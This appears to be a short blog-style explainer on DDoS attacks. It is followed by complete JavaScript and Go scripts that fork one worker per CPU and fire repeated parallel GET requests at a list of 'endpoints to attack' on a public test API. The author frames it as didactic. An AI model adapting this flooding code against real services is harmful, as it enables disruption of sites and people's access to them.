Introduction
- A Distributed Denial of Service (DDoS) attack is a malicious form of cyber attack where a large number of internet connected devices are used to overload a specific target such as a server, website or online service. The main objective of a DDoS attack is to make the target inaccessible to the legitimate public, causing an interruption in the normal functioning of the service.
- These attacks exploit a system’s limited processing power, bandwidth, or resources so that it cannot handle the high volume of bogus traffic generated by compromised devices. Attackers often take control of these compromised devices remotely, forming a “botnet” (network of bots) to carry out the attack.
Algorithm
- This algorithm makes each worker make 20 HTTP GET calls to each endpoint
- As in the algorithm list I have a total of 12 endpoints, so each worker will make 240 GET requests
- Giving a total of 240 x 8 = 1920 GET requests in parallel, at the same time.
Conclusion
- I made this algorithm for didactic purposes, and for pure curiosity/technical interest.
Script Example in Javascript
import cluster from "cluster";
import os from "os";
import fs from "fs";
const numWorkers = os.cpus().length;
const listEndpointsToAttack = [
"https://jsonplaceholder.typicode.com/users/1",
"https://jsonplaceholder.typicode.com/users/2",
"https://jsonplaceholder.typicode.com/users/3",
"https://jsonplaceholder.typicode.com/posts/1",
"https://jsonplaceholder.typicode.com/posts/2",
"https://jsonplaceholder.typicode.com/posts/3",
"https://jsonplaceholder.typicode.com/comments/1",
"https://jsonplaceholder.typicode.com/comments/2",
"https://jsonplaceholder.typicode.com/comments/3",
"https://jsonplaceholder.typicode.com/todos/1",
"https://jsonplaceholder.typicode.com/todos/2",
"https://jsonplaceholder.typicode.com/todos/3",
];
const writeStatisticsToFile = (pid, data) => {
try {
fs.writeFileSync(
`./responses-javascript/responses-from-worker-id-${pid}.json`,
JSON.stringify(data, null, 4),
"utf8"
);
} catch (error) {
console.error("An error has occurred while writing to file:", error);
}
};
if (cluster.isPrimary) {
console.log(`Master cluster setting up ${numWorkers} workers...`);
for (let i = 0; i < numWorkers; i++) {
cluster.fork();
}
cluster.on("online", worker => {
console.log(`Worker ${worker.process.pid} is online`);
});
cluster.on("exit", (worker, code, signal) => {
console.log(
`Worker ${worker.process.pid} died with code: ${code}, and signal: ${signal}. Starting a new worker...`
);
cluster.fork();
});
} else {
const workerJobStatistics = {
worker_id: process.pid,
worker_execution_time: null,
total_requests_made: 0,
total_requests_timeout: 0,
total_requests_http_status_code_200: 0,
total_requests_fail: 0,
responses: [],
};
const processRequest = (url, statistics) => {
const request = {
endpoint: url,
http_status_code_response: null,
response: null,
};
return fetch(url)
.then(response => {
statistics.total_requests_made += 1;
if (response.status === 200) {
statistics.total_requests_http_status_code_200 += 1;
request.http_status_code_response = response.status;
request.endpoint = response.url;
}
return response.json();
})
.then(response => {
request.response = response;
statistics.responses.push(request);
console.log(response);
writeStatisticsToFile(process.pid, statistics);
})
.catch(error => {
statistics.total_requests_fail += 1;
console.error(`Error processing ${url}:`, error);
writeStatisticsToFile(process.pid, statistics);
});
};
const sendRequestsStartTime = Date.now();
for (let i = 0; i < 20; i++) {
listEndpointsToAttack.forEach(url => {
processRequest(url, workerJobStatistics);
});
}
const sendRequestsEndTime = Date.now();
const sendRequestsTime = (sendRequestsEndTime - sendRequestsStartTime) / 1000;
workerJobStatistics.worker_execution_time = `${sendRequestsTime} seconds`;
console.log(
`Worker ${process.pid} sent all requests in ${sendRequestsTime} seconds`
);
writeStatisticsToFile(process.pid, workerJobStatistics);
}
Script Example in Go
package main
import (
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"os"
"runtime"
"sync"
"time"
)
var listEndpointsToAttack = []string{
"https://jsonplaceholder.typicode.com/users/1",
"https://jsonplaceholder.typicode.com/users/2",
"https://jsonplaceholder.typicode.com/users/3",
"https://jsonplaceholder.typicode.com/posts/1",
"https://jsonplaceholder.typicode.com/posts/2",
"https://jsonplaceholder.typicode.com/posts/3",
"https://jsonplaceholder.typicode.com/comments/1",
"https://jsonplaceholder.typicode.com/comments/2",
"https://jsonplaceholder.typicode.com/comments/3",
"https://jsonplaceholder.typicode.com/todos/1",
"https://jsonplaceholder.typicode.com/todos/2",
"https://jsonplaceholder.typicode.com/todos/3",
}
type Request struct {
Endpoint string `json:"endpoint"`
HTTPStatusCodeResponse int `json:"http_status_code_response"`
Response interface{} `json:"response"`
}
type WorkerJobStatistics struct {
WorkerID int `json:"worker_id"`
WorkerExecutionTime string `json:"worker_execution_time"`
TotalRequestsMade int `json:"total_requests_made"`
TotalRequestsTimeout int `json:"total_requests_timeout"`
TotalRequestsHTTPStatusCode200 int `json:"total_requests_http_status_code_200"`
TotalRequestsFail int `json:"total_requests_fail"`
Responses []Request `json:"responses"`
}
func worker(id int, wg *sync.WaitGroup, sem chan struct{}) {
defer wg.Done()
start := time.Now()
fmt.Printf("Worker ID: %d is online\n", id)
totalRequestsMade := 0
workerJobStatistics := WorkerJobStatistics{
WorkerID: id,
}
var sendRequestsWaitGroup sync.WaitGroup
sendRequestsStartTime := time.Now()
for i := 0; i < 20; i++ {
for _, endpoint := range listEndpointsToAttack {
totalRequestsMade++
sendRequestsWaitGroup.Add(1)
go func(endpoint string) {
defer sendRequestsWaitGroup.Done()
sem <- struct{}{}
processRequest(endpoint, &workerJobStatistics, id)
<-sem
}(endpoint)
}
}
sendRequestsWaitGroup.Wait()
sendRequestsEndTime := time.Now()
sendRequestsTime := sendRequestsEndTime.Sub(sendRequestsStartTime).Seconds()
fmt.Printf("Worker %d sent all requests in %.2f seconds\n", id, sendRequestsTime)
duration := time.Since(start)
workerJobStatistics.TotalRequestsMade = totalRequestsMade
workerJobStatistics.WorkerExecutionTime = fmt.Sprintf("%.2f seconds", duration.Seconds())
fmt.Printf("Worker ID: %d processed a total of: %d requests in %v\n", id, totalRequestsMade, duration)
writeFile(fmt.Sprintf("./responses-golang/responses-from-worker-id-%d.json", id), workerJobStatistics)
}
func processRequest(endpoint string, stats *WorkerJobStatistics, workerID int) {
request := Request{
Endpoint: endpoint,
}
resp, err := http.Get(endpoint)
if err != nil {
stats.TotalRequestsTimeout++
log.Printf("Error fetching URL %s: %v", endpoint, err)
return
}
defer resp.Body.Close()
request.HTTPStatusCodeResponse = resp.StatusCode
if resp.StatusCode == 200 {
stats.TotalRequestsHTTPStatusCode200++
}
body, err := io.ReadAll(resp.Body)
if err != nil {
stats.TotalRequestsFail++
log.Printf("Error reading response body: %v", err)
return
}
err = json.Unmarshal(body, &request.Response)
if err != nil {
stats.TotalRequestsFail++
log.Printf("Error unmarshalling response: %v", err)
return
}
stats.Responses = append(stats.Responses, request)
responseJSON, err := json.MarshalIndent(request.Response, "", " ")
if err != nil {
log.Printf("Error marshalling response to JSON: %v", err)
} else {
fmt.Println(string(responseJSON))
}
writeFile(fmt.Sprintf("./responses/responses-from-worker-id-%d.json", workerID), *stats)
}
func writeFile(filename string, data interface{}) error {
file, err := json.MarshalIndent(data, "", " ")
if err != nil {
return err
}
err = os.WriteFile(filename, file, 0644)
if err != nil {
return err
}
return nil
}
func main() {
numWorkers := runtime.NumCPU()
var wg sync.WaitGroup
sem := make(chan struct{}, numWorkers*5)
fmt.Printf("Master cluster setting up %d workers...\n", numWorkers)
for i := 0; i < numWorkers; i++ {
wg.Add(1)
go worker(i, &wg, sem)
}
wg.Wait()
}